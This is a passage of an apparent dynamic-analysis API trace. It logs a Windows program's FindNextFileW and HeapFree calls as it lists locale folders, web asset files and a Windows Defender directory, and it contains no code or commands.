hHeap=0x490000) returned 1 [0082.484] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f33bd1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84655fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f361f6d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0082.484] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.484] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3d2b8e00, ftLastWriteTime.dwHighDateTime=0x1d2c281, nFileSizeHigh=0x0, nFileSizeLow=0xde, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0082.484] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.485] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f361f6d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa84fae3d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0082.485] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.485] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa85726e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3881cc, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0082.485] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.485] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3881cc, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8575326, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3ae466, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0082.485] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.485] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x57d93800, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xee2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LanguageSelector.js", cAlternateFileName="LANGUA~1.JS")) returned 1 [0082.486] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.486] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3ae466, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa860670d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3d467a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0082.486] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.486] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3d467a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8608b57, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3d467a, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0082.486] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.486] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2fdd51, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e2fdd51, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x1f852a00, ftLastWriteTime.dwHighDateTime=0x1d3225d, nFileSizeHigh=0x0, nFileSizeLow=0x13d, dwReserved0=0x0, dwReserved1=0x0, cFileName="metadata.json", cAlternateFileName="METADA~1.JSO")) returned 1 [0082.486] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.486] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8664e62, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f3fa8d2, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0082.487] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.487] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f3fa8d2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86afcc3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-BE", cAlternateFileName="")) returned 1 [0082.487] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.487] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa86b1f8a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0082.487] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.487] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8706406, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f420b1b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nn-NO", cAlternateFileName="")) returned 1 [0082.487] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.487] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f420b1b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa870879d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8f741ca5, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0082.488] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.488] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f9f0764, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8758deb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8fb21a2e, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0082.488] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.488] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8fb940f6, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa879d17a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x910709ea, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0082.488] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.488] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x910709ea, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8805329, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91ab8c63, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="resources", cAlternateFileName="RESOUR~1")) returned 1 [0082.489] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.489] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ab8c63, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8807941, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91b2b4b0, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0082.489] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.489] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91b515fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8880860, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x91ca8b67, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0082.489] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.489] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x91ca8b67, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa88ef27e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92500ff3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0082.490] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.490] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x926583f5, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa88f19a1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92906e91, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0082.490] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.490] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92906e91, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8945b83, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x92eb078f, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~1")) returned 1 [0082.490] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.490] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x92eb078f, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8a33d41, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x934cc975, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0082.490] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.491] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x934cc975, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8a36304, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93670243, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="th-TH", cAlternateFileName="")) returned 1 [0082.491] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.491] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93670243, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8b3c077, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93991459, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0082.491] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.491] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93991459, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c00614, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x93a9c3f1, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0082.491] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.491] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x93b5b0aa, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c62177, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x949a9132, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi-VN", cAlternateFileName="")) returned 1 [0082.492] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.492] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x949a9132, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8c9dee8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94c57ba9, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0082.492] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.492] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94c57ba9, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db6dd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0082.492] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.492] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db965a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0082.493] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0082.493] FindNextFileW (in: hFindFile=0x583108, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x94cf0533, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa8db965a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0082.493] FindClose (in: hFindFile=0x583108 | out: hFindFile=0x583108) returned 1 [0082.493] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3dd3a48 | out: hHeap=0x490000) returned 1 [0082.493] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89d8d47d, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x89d8d47d, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x89d8d47d, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x455c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Detector_131491847713900000.xml", cAlternateFileName="DETECT~1.XML")) returned 1 [0082.493] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0082.495] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa755519f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x94cf0533, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{91be532c-f9f1-406a-9858-43697c6f437a}", cAlternateFileName="{91BE5~1")) returned 0 [0082.495] FindClose (in: hFindFile=0x583008 | out: hFindFile=0x583008) returned 1 [0082.495] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0082.495] FindNextFileW (in: hFindFile=0x582f88, lpFindFileData=0x2e9f584 | out: lpFindFileData=0x2e9f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x865d24d3, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa74805fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x865d24d3, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Campaigns", cAlternateFileName="CAMPAI~1")) returned 0 [0082.495] FindClose (in: hFindFile=0x582f88 | out: hFindFile=0x582f88) returned 1 [0082.496] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0082.496] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4c52ff94, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x275f77f9, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x275f77f9, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1 [0082.496] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0082.496] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x106b6e00, ftCreationTime.dwHighDateTime=0x1d2c1d0, ftLastAccessTime.dwLowDateTime=0x4c5561e0, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x106b6e00, ftLastWriteTime.dwHighDateTime=0x1d2c1d0, nFileSizeHigh=0x0, nFileSizeLow=0xc86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task.xml", cAlternateFileName="")) returned 1 [0082.496] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) returned 1 [0082.497] FindNextFileW (in: hFindFile=0x5832c8, lpFindFileData=0x2e9fa7c | out: lpFindFileData=0x2e9fa7c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa8f11cc1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x711dc3b4, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Defender", cAlternateFileName="WINDOW~1")) returned 1 [0082.501] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0082.501] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26a5b2a5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26a5b2a5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26a5b2a5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb2fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EppManifest.dll", cAlternateFileName="")) returned 1 [0082.502] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3db3a38 | out: hHeap=0x490000) returned 1 [0082.502] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x2e9f800 | out: lpFindFileData=0x2e9f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x26aa7774, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x26aa7774, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x26aa7774, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x851a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProtectionManagement.dll", cAlternateFileName="")) returned 1 [0082.502] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3da3a30 | out: hHeap=0x490000) 